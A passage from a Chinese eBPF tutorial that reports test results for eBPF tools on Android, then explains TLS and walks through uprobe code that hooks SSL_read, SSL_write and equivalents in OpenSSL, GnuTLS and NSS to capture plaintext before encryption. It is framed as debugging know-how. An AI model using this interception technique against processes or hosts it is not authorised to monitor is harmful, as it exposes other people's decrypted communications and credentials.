<p>有部分 eBPF 程序可以成功在 Android 上运行,但也会有部分应用因为种种原因无法成功被执行。</p>
<h3 id="成功案例"><a class="header" href="#成功案例">成功案例</a></h3>
<h4 id="bootstrap-1"><a class="header" href="#bootstrap-1"><a href="https://github.com/eunomia-bpf/eunomia-bpf/tree/master/examples/bpftools/bootstrap">bootstrap</a></a></h4>
<p>运行输出如下:</p>
<pre><code class="language-console">TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT
09:09:19 10217 479 0 0 sh /system/bin/sh 0
09:09:19 10217 479 0 0 ps /system/bin/ps 0
09:09:19 10217 479 0 54352100 ps 1
09:09:21 10219 479 0 0 sh /system/bin/sh 0
09:09:21 10219 479 0 0 ps /system/bin/ps 0
09:09:21 10219 479 0 44260900 ps 1
</code></pre>
<h4 id="tcpstates"><a class="header" href="#tcpstates"><a href="https://github.com/eunomia-bpf/eunomia-bpf/tree/master/examples/bpftools/tcpstates">tcpstates</a></a></h4>
<p>开始监测后在 Linux 环境中通过 <code>wget</code> 下载 Web 页面:</p>
<pre><code class="language-console">TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK
09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget
09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0
09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget
09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0
09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0
09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet
09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet
</code></pre>
<p>开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面:</p>
<pre><code class="language-console">TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK
07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService
07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService
07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService
07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService
07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService
07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService
07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService
07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg
07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService
07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService
07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0
07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService
07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0
07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService
07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService
07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11
07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService
07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService
07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService
07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet
</code></pre>
<h3 id="一些可能的报错原因"><a class="header" href="#一些可能的报错原因">一些可能的报错原因</a></h3>
<h4 id="opensnoop"><a class="header" href="#opensnoop"><a href="https://github.com/eunomia-bpf/eunomia-bpf/tree/master/examples/bpftools/opensnoop">opensnoop</a></a></h4>
<p>例如 opensnoop 工具,可以在 Android 上成功构建,但运行报错:</p>
<pre><code class="language-console">libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory
libbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory
libbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2
failed to attach skeleton
Error: BpfError(&quot;load and attach ebpf program failed&quot;)
</code></pre>
<p>后经查看发现内核未开启 <code>CONFIG_FTRACE_SYSCALLS</code> 选项,导致无法使用 syscalls 的 tracepoint。</p>
<h2 id="总结-18"><a class="header" href="#总结-18">总结</a></h2>
<p>在 Android shell 中查看内核编译选项可以发现 <code>CONFIG_DEBUG_INFO_BTF</code> 默认是打开的,在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例,例如可以监测 <code>exec</code> 族函数的执行和 tcp 连接的状态。</p>
<p>对于无法运行的一些,原因主要是以下两个方面:</p>
<ol>
<li>内核编译选项未支持相关 eBPF 功能;</li>
<li>eadb 打包的 Linux 环境较弱,缺乏必须依赖;</li>
</ol>
<p>目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境,但 Android 内核本身对 eBPF 的支持已较为全面,本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。</p>
<p>Android 系统 eBPF 工具的发展需要官方新特性的加入,目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大,同时由于 eBPF 工具需要 root 权限,普通 Android 用户的使用会面临较多困难。</p>
<p>如果希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<h2 id="参考-2"><a class="header" href="#参考-2">参考</a></h2>
<div class="footnote-definition" id="Google"><sup class="footnote-definition-label">2</sup>
<p><a href="https://source.android.google.cn/docs/core/architecture/kernel/bpf">https://source.android.google.cn/docs/core/architecture/kernel/bpf</a>
<sup class="footnote-reference"><a href="#WeiShu">1</a></sup>:<a href="https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA">https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA</a>
<sup class="footnote-reference"><a href="#SeeFlowerX">3</a></sup>:<a href="https://blog.seeflower.dev/archives/138/">https://blog.seeflower.dev/archives/138/</a></p>
</div>
<div style="break-before: page; page-break-before: always;"></div><h1 id="http"><a class="header" href="#http">http</a></h1>
<p>TODO</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-实践教程使用-uprobe-捕获多种库的-ssltls-明文数据"><a class="header" href="#ebpf-实践教程使用-uprobe-捕获多种库的-ssltls-明文数据">eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据</a></h1>
<p>随着TLS在现代网络环境中的广泛应用跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。</p>
<p>但现在,我们有了新的解决方案。使用 eBPF 技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。</p>
<p>在本教程中,我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。</p>
<h2 id="背景知识"><a class="header" href="#背景知识">背景知识</a></h2>
<p>在深入本教程的主题之前,我们需要理解一些核心概念,这些概念将为我们后面的讨论提供基础。</p>
<h3 id="ssl-和-tls"><a class="header" href="#ssl-和-tls">SSL 和 TLS</a></h3>
<p>SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发为网络上的两台机器之间提供数据加密传输。然而由于某些已知的安全问题SSL的使用已被其后继者TLS所替代。</p>
<p>TLS (Transport Layer Security): 是 SSL 的继任者旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程,在这个过程中,客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成,数据传输开始,所有数据都使用选择的算法和密钥加密。</p>
<h3 id="tls-的工作原理"><a class="header" href="#tls-的工作原理">TLS 的工作原理</a></h3>
<p>Transport Layer Security (TLS) 是一个密码学协议旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学例如证书的使用为两个或更多通信的计算机应用程序提供安全性包括隐私机密性、完整性和真实性。TLS 由两个子层组成TLS 记录协议和TLS 握手协议。</p>
<h4 id="握手过程"><a class="header" href="#握手过程">握手过程</a></h4>
<p>当客户端与启用了TLS的服务器连接并请求建立安全连接时握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数完整流程如下</p>
<ol>
<li><strong>初始握手</strong>客户端连接到启用了TLS的服务器请求安全连接并提供它支持的密码套件列表加密算法和哈希函数</li>
<li><strong>选择密码套件</strong>:从提供的列表中,服务器选择它也支持的密码套件和哈希函数,并通知客户端已做出的决定。</li>
<li><strong>提供数字证书</strong>:通常,服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构(为证书的真实性提供担保)以及服务器的公共加密密钥。</li>
<li><strong>验证证书</strong>:客户端在继续之前确认证书的有效性。</li>
<li><strong>生成会话密钥</strong>:为了生成用于安全连接的会话密钥,客户端有以下两种方法:
<ul>
<li>使用服务器的公钥加密一个随机数PreMasterSecret并将结果发送到服务器只有服务器才能使用其私钥解密双方然后使用该随机数生成一个独特的会话密钥用于会话期间的数据加密和解密。</li>
<li>使用 Diffie-Hellman 密钥交换或其变体椭圆曲线DH来安全地生成一个随机且独特的会话密钥用于加密和解密该密钥具有前向保密的额外属性即使在未来公开了服务器的私钥也不能用它来解密当前的会话即使第三方拦截并记录了会话。</li>
</ul>
</li>
</ol>
<p>一旦上述步骤成功完成握手过程便结束加密的连接开始。此连接使用会话密钥进行加密和解密直到连接关闭。如果上述任何步骤失败则TLS握手失败连接将不会建立。</p>
<h4 id="osi模型中的tls"><a class="header" href="#osi模型中的tls">OSI模型中的TLS</a></h4>
<p>TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议例如TCP之上运行”这意味着它位于传输层之上。它为更高的层提供加密这通常是表示层的功能。但是使用TLS 的应用程序通常视其为传输层即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。</p>
<h3 id="ebpf-和-uprobe"><a class="header" href="#ebpf-和-uprobe">eBPF 和 uprobe</a></h3>
<p>eBPF (Extended Berkeley Packet Filter): 是一种内核技术,允许用户在内核空间中运行预定义的程序,不需要修改内核源代码或重新加载模块。它创建了一个桥梁,使得用户空间和内核空间可以交互,从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。</p>
<p>uprobes 是eBPF的一个重要特性允许我们在用户空间应用程序中动态地插入探测点特别适用于跟踪SSL/TLS库中的函数调用。</p>
<h3 id="用户态库"><a class="header" href="#用户态库">用户态库</a></h3>
<p>SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库</p>
<ul>
<li>OpenSSL: 一个开源的、功能齐全的加密库,广泛应用于许多开源和商业项目中。</li>
<li>BoringSSL: 是Google维护的OpenSSL的一个分支重点是简化和优化适用于Google的需求。</li>
<li>GnuTLS: 是GNU项目的一部分提供了SSLTLS和DTLS协议的实现。与OpenSSL和BoringSSL相比GnuTLS在API设计、模块结构和许可证上有所不同。</li>
</ul>
<h2 id="openssl-api-分析"><a class="header" href="#openssl-api-分析">OpenSSL API 分析</a></h2>
<p>OpenSSL 是一个广泛应用的开源库,提供了 SSL 和 TLS 协议的完整实现并广泛用于各种应用程序中以确保数据传输的安全性。其中SSL_read() 和 SSL_write() 是两个核心的 API 函数,用于从 TLS/SSL 连接中读取和写入数据。本章节,我们将深入这两个函数,帮助你理解其工作机制。</p>
<h3 id="1-ssl_read-函数"><a class="header" href="#1-ssl_read-函数">1. SSL_read 函数</a></h3>
<p>当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 <code>SSL_read</code><code>SSL_read_ex</code> 函数。函数原型如下:</p>
<pre><code class="language-c">int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes);
int SSL_read(SSL *ssl, void *buf, int num);
</code></pre>
<p><code>SSL_read</code><code>SSL_read_ex</code> 试图从指定的 <code>ssl</code> 中读取最多 <code>num</code> 字节的数据到缓冲区 <code>buf</code> 中。成功时,<code>SSL_read_ex</code> 会在 <code>*readbytes</code> 中存储实际读取到的字节数。</p>
<h3 id="2-ssl_write-函数"><a class="header" href="#2-ssl_write-函数">2. SSL_write 函数</a></h3>
<p>当我们想往一个已建立的 SSL 连接中写入数据时,可以使用 <code>SSL_write</code><code>SSL_write_ex</code> 函数。</p>
<p>函数原型:</p>
<pre><code class="language-c">int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written);
int SSL_write(SSL *ssl, const void *buf, int num);
</code></pre>
<p><code>SSL_write</code><code>SSL_write_ex</code> 会从缓冲区 <code>buf</code> 中将最多 <code>num</code> 字节的数据写入到指定的 <code>ssl</code> 连接中。成功时,<code>SSL_write_ex</code> 会在 <code>*written</code> 中存储实际写入的字节数。</p>
<h2 id="ebpf-内核态代码编写"><a class="header" href="#ebpf-内核态代码编写">eBPF 内核态代码编写</a></h2>
<p>在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。</p>
<h3 id="数据结构"><a class="header" href="#数据结构">数据结构</a></h3>
<p>首先,我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据:</p>
<pre><code class="language-c">#define MAX_BUF_SIZE 8192
#define TASK_COMM_LEN 16
struct probe_SSL_data_t {
__u64 timestamp_ns; // 时间戳(纳秒)
__u64 delta_ns; // 函数执行时间
__u32 pid; // 进程 ID
__u32 tid; // 线程 ID
__u32 uid; // 用户 ID
__u32 len; // 读/写数据的长度
int buf_filled; // 缓冲区是否填充完整
int rw; // 读或写0为读1为写
char comm[TASK_COMM_LEN]; // 进程名
__u8 buf[MAX_BUF_SIZE]; // 数据缓冲区
int is_handshake; // 是否是握手数据
};
</code></pre>
<h3 id="hook-函数"><a class="header" href="#hook-函数">Hook 函数</a></h3>
<p>我们的目标是 hook 到 <code>SSL_read</code><code>SSL_write</code> 函数。我们定义了一个函数 <code>SSL_exit</code> 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID确定是否需要追踪并收集数据。</p>
<pre><code class="language-c">static int SSL_exit(struct pt_regs *ctx, int rw) {
int ret = 0;
u32 zero = 0;
u64 pid_tgid = bpf_get_current_pid_tgid();
u32 pid = pid_tgid &gt;&gt; 32;
u32 tid = (u32)pid_tgid;
u32 uid = bpf_get_current_uid_gid();
u64 ts = bpf_ktime_get_ns();
if (!trace_allowed(uid, pid)) {
return 0;
}
/* store arg info for later lookup */
u64 *bufp = bpf_map_lookup_elem(&amp;bufs, &amp;tid);
if (bufp == 0)
return 0;
u64 *tsp = bpf_map_lookup_elem(&amp;start_ns, &amp;tid);
if (!tsp)
return 0;
u64 delta_ns = ts - *tsp;
int len = PT_REGS_RC(ctx);
if (len &lt;= 0) // no data
return 0;
struct probe_SSL_data_t *data = bpf_map_lookup_elem(&amp;ssl_data, &amp;zero);
if (!data)
return 0;
data-&gt;timestamp_ns = ts;
data-&gt;delta_ns = delta_ns;
data-&gt;pid = pid;
data-&gt;tid = tid;
data-&gt;uid = uid;
data-&gt;len = (u32)len;
data-&gt;buf_filled = 0;
data-&gt;rw = rw;
data-&gt;is_handshake = false;
u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len);
bpf_get_current_comm(&amp;data-&gt;comm, sizeof(data-&gt;comm));
if (bufp != 0)
ret = bpf_probe_read_user(&amp;data-&gt;buf, buf_copy_size, (char *)*bufp);
bpf_map_delete_elem(&amp;bufs, &amp;tid);
bpf_map_delete_elem(&amp;start_ns, &amp;tid);
if (!ret)
data-&gt;buf_filled = 1;
else
buf_copy_size = 0;
bpf_perf_event_output(ctx, &amp;perf_SSL_events, BPF_F_CURRENT_CPU, data,
EVENT_SIZE(buf_copy_size));
return 0;
}
</code></pre>
<p>这里的 <code>rw</code> 参数标识是读还是写。0 代表读1 代表写。</p>
<h4 id="数据收集流程"><a class="header" href="#数据收集流程">数据收集流程</a></h4>
<ol>
<li>获取当前进程和线程的 ID以及当前用户的 ID。</li>
<li>通过 <code>trace_allowed</code> 判断是否允许追踪该进程。</li>
<li>获取起始时间,以计算函数的执行时间。</li>
<li>尝试从 <code>bufs</code><code>start_ns</code> maps 中查找相关的数据。</li>
<li>如果成功读取了数据,则创建或查找 <code>probe_SSL_data_t</code> 结构来填充数据。</li>
<li>将数据从用户空间复制到缓冲区,并确保不超过预定的大小。</li>
<li>最后,将数据发送到用户空间。</li>
</ol>
<p>注意:我们使用了两个用户返回探针 <code>uretprobe</code> 来分别 hook <code>SSL_read</code><code>SSL_write</code> 的返回:</p>
<pre><code class="language-c">SEC(&quot;uretprobe/SSL_read&quot;)
int BPF_URETPROBE(probe_SSL_read_exit) {
return (SSL_exit(ctx, 0)); // 0 表示读操作
}
SEC(&quot;uretprobe/SSL_write&quot;)
int BPF_URETPROBE(probe_SSL_write_exit) {
return (SSL_exit(ctx, 1)); // 1 表示写操作
}
</code></pre>
<h3 id="hook到握手过程"><a class="header" href="#hook到握手过程">Hook到握手过程</a></h3>
<p>在 SSL/TLS 中握手handshake是一个特殊的过程用于在客户端和服务器之间建立安全的连接。为了分析此过程我们 hook 到了 <code>do_handshake</code> 函数,以跟踪握手的开始和结束。</p>
<h4 id="进入握手"><a class="header" href="#进入握手">进入握手</a></h4>
<p>我们使用 <code>uprobe</code><code>do_handshake</code> 设置一个 probe</p>
<pre><code class="language-c">
SEC(&quot;uprobe/do_handshake&quot;)
int BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) {
u64 pid_tgid = bpf_get_current_pid_tgid();
u32 pid = pid_tgid &gt;&gt; 32;
u32 tid = (u32)pid_tgid;
u64 ts = bpf_ktime_get_ns();
u32 uid = bpf_get_current_uid_gid();
if (!trace_allowed(uid, pid)) {
return 0;
}
/* store arg info for later lookup */
bpf_map_update_elem(&amp;start_ns, &amp;tid, &amp;ts, BPF_ANY);
return 0;
}
</code></pre>
<p>这段代码的主要功能如下:</p>
<ol>
<li>获取当前的 <code>pid</code>, <code>tid</code>, <code>ts</code><code>uid</code></li>
<li>使用 <code>trace_allowed</code> 检查进程是否被允许追踪。</li>
<li>将当前时间戳存储在 <code>start_ns</code> 映射中,用于稍后计算握手过程的持续时间。</li>
</ol>
<h4 id="退出握手"><a class="header" href="#退出握手">退出握手</a></h4>
<p>同样,我们为 <code>do_handshake</code> 的返回设置了一个 <code>uretprobe</code></p>
<pre><code class="language-c">
SEC(&quot;uretprobe/do_handshake&quot;)
int BPF_URETPROBE(probe_SSL_do_handshake_exit) {
u32 zero = 0;
u64 pid_tgid = bpf_get_current_pid_tgid();
u32 pid = pid_tgid &gt;&gt; 32;
u32 tid = (u32)pid_tgid;
u32 uid = bpf_get_current_uid_gid();
u64 ts = bpf_ktime_get_ns();
int ret = 0;
/* use kernel terminology here for tgid/pid: */
u32 tgid = pid_tgid &gt;&gt; 32;
/* store arg info for later lookup */
if (!trace_allowed(tgid, pid)) {
return 0;
}
u64 *tsp = bpf_map_lookup_elem(&amp;start_ns, &amp;tid);
if (tsp == 0)
return 0;
ret = PT_REGS_RC(ctx);
if (ret &lt;= 0) // handshake failed
return 0;
struct probe_SSL_data_t *data = bpf_map_lookup_elem(&amp;ssl_data, &amp;zero);
if (!data)
return 0;
data-&gt;timestamp_ns = ts;
data-&gt;delta_ns = ts - *tsp;
data-&gt;pid = pid;
data-&gt;tid = tid;
data-&gt;uid = uid;
data-&gt;len = ret;
data-&gt;buf_filled = 0;
data-&gt;rw = 2;
data-&gt;is_handshake = true;
bpf_get_current_comm(&amp;data-&gt;comm, sizeof(data-&gt;comm));
bpf_map_delete_elem(&amp;start_ns, &amp;tid);
bpf_perf_event_output(ctx, &amp;perf_SSL_events, BPF_F_CURRENT_CPU, data,
EVENT_SIZE(0));
return 0;
}
</code></pre>
<p>此函数的逻辑如下:</p>
<ol>
<li>获取当前的 <code>pid</code>, <code>tid</code>, <code>ts</code><code>uid</code></li>
<li>使用 <code>trace_allowed</code> 再次检查是否允许追踪。</li>
<li>查找 <code>start_ns</code> 映射中的时间戳,用于计算握手的持续时间。</li>
<li>使用 <code>PT_REGS_RC(ctx)</code> 获取 <code>do_handshake</code> 的返回值,判断握手是否成功。</li>
<li>查找或初始化与当前线程关联的 <code>probe_SSL_data_t</code> 数据结构。</li>
<li>更新数据结构的字段,包括时间戳、持续时间、进程信息等。</li>
<li>通过 <code>bpf_perf_event_output</code> 将数据发送到用户态。</li>
</ol>
<p>我们的 eBPF 代码不仅跟踪了 <code>ssl_read</code><code>ssl_write</code> 的数据传输,还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。</p>
<p>通过这些 hook 函数,我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解,可以帮助我们在需要时进行更深入的分析和优化。</p>
<h2 id="用户态辅助代码分析与解读"><a class="header" href="#用户态辅助代码分析与解读">用户态辅助代码分析与解读</a></h2>
<p>在 eBPF 的生态系统中,用户态和内核态代码经常协同工作。内核态代码负责数据的采集,而用户态代码则负责设置、管理和处理这些数据。在本节中,我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。</p>
<h3 id="1-支持的库挂载"><a class="header" href="#1-支持的库挂载">1. 支持的库挂载</a></h3>
<p>上述代码片段中,根据环境变量 <code>env</code> 的设定程序可以选择针对三种常见的加密库OpenSSL、GnuTLS 和 NSS进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。</p>
<p>为了实现这一功能,首先利用 <code>find_library_path</code> 函数确定库的路径。然后,根据库的类型,调用对应的 <code>attach_</code> 函数来将 eBPF 程序挂载到库函数上。</p>
<pre><code class="language-c"> if (env.openssl) {
char *openssl_path = find_library_path(&quot;libssl.so&quot;);
printf(&quot;OpenSSL path: %s\n&quot;, openssl_path);
attach_openssl(obj, &quot;/lib/x86_64-linux-gnu/libssl.so.3&quot;);
}
if (env.gnutls) {
char *gnutls_path = find_library_path(&quot;libgnutls.so&quot;);
printf(&quot;GnuTLS path: %s\n&quot;, gnutls_path);
attach_gnutls(obj, gnutls_path);
}
if (env.nss) {
char *nss_path = find_library_path(&quot;libnspr4.so&quot;);
printf(&quot;NSS path: %s\n&quot;, nss_path);
attach_nss(obj, nss_path);
}
</code></pre>
<p>这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库,支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的,现在由 Mozilla 维护。其他两个库前面已经介绍过了,这里不再赘述。</p>
<h3 id="2-详细挂载逻辑"><a class="header" href="#2-详细挂载逻辑">2. 详细挂载逻辑</a></h3>
<p>具体的 attach 函数如下:</p>
<pre><code class="language-c">#define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \
do { \
LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \
.retprobe = is_retprobe); \
skel-&gt;links.prog_name = bpf_program__attach_uprobe_opts( \
skel-&gt;progs.prog_name, env.pid, binary_path, 0, &amp;uprobe_opts); \
} while (false)
int attach_openssl(struct sslsniff_bpf *skel, const char *lib) {
ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit);
ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit);
if (env.latency &amp;&amp; env.handshake) {
ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake,
probe_SSL_do_handshake_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake,
probe_SSL_do_handshake_exit);
}
return 0;
}
int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) {
ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit);
ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit);
return 0;
}
int attach_nss(struct sslsniff_bpf *skel, const char *lib) {
ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit);
ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit);
ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit);
ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit);
return 0;
}
</code></pre>
<p>我们进一步观察 <code>attach_</code> 函数,可以看到它们都使用了 <code>ATTACH_UPROBE_CHECKED</code><code>ATTACH_URETPROBE_CHECKED</code> 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe函数入口和 uretprobe函数返回</p>
<p>考虑到不同的库有不同的 API 函数名称例如OpenSSL 使用 <code>SSL_write</code>,而 GnuTLS 使用 <code>gnutls_record_send</code>),所以我们需要为每个库写一个独立的 <code>attach_</code> 函数。</p>
<p>例如,在 <code>attach_openssl</code> 函数中,我们为 <code>SSL_write</code><code>SSL_read</code> 设置了 probe。如果用户还希望追踪握手的延迟 (<code>env.latency</code>) 和握手过程 (<code>env.handshake</code>),那么我们还会为 <code>SSL_do_handshake</code> 设置 probe。</p>
<p>在eBPF生态系统中perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的因为它们不能直接与用户态进行交互。使用perf_buffer我们可以在内核态eBPF程序中收集数据然后在用户态异步地读取这些数据。我们使用 <code>perf_buffer__poll</code> 函数来读取内核态上报的数据,如下所示:</p>
<pre><code class="language-c"> while (!exiting) {
err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS);
if (err &lt; 0 &amp;&amp; err != -EINTR) {
warn(&quot;error polling perf buffer: %s\n&quot;, strerror(-err));
goto cleanup;
}
err = 0;
}
</code></pre>
<p>最后,在 print_event 函数中,我们将数据打印到标准输出:</p>
<pre><code class="language-c">// Function to print the event from the perf buffer
void print_event(struct probe_SSL_data_t *event, const char *evt) {
...
if (buf_size != 0) {
if (env.hexdump) {
// 2 characters for each byte + null terminator
char hex_data[MAX_BUF_SIZE * 2 + 1] = {0};
buf_to_hex((uint8_t *)buf, buf_size, hex_data);
printf(&quot;\n%s\n&quot;, s_mark);
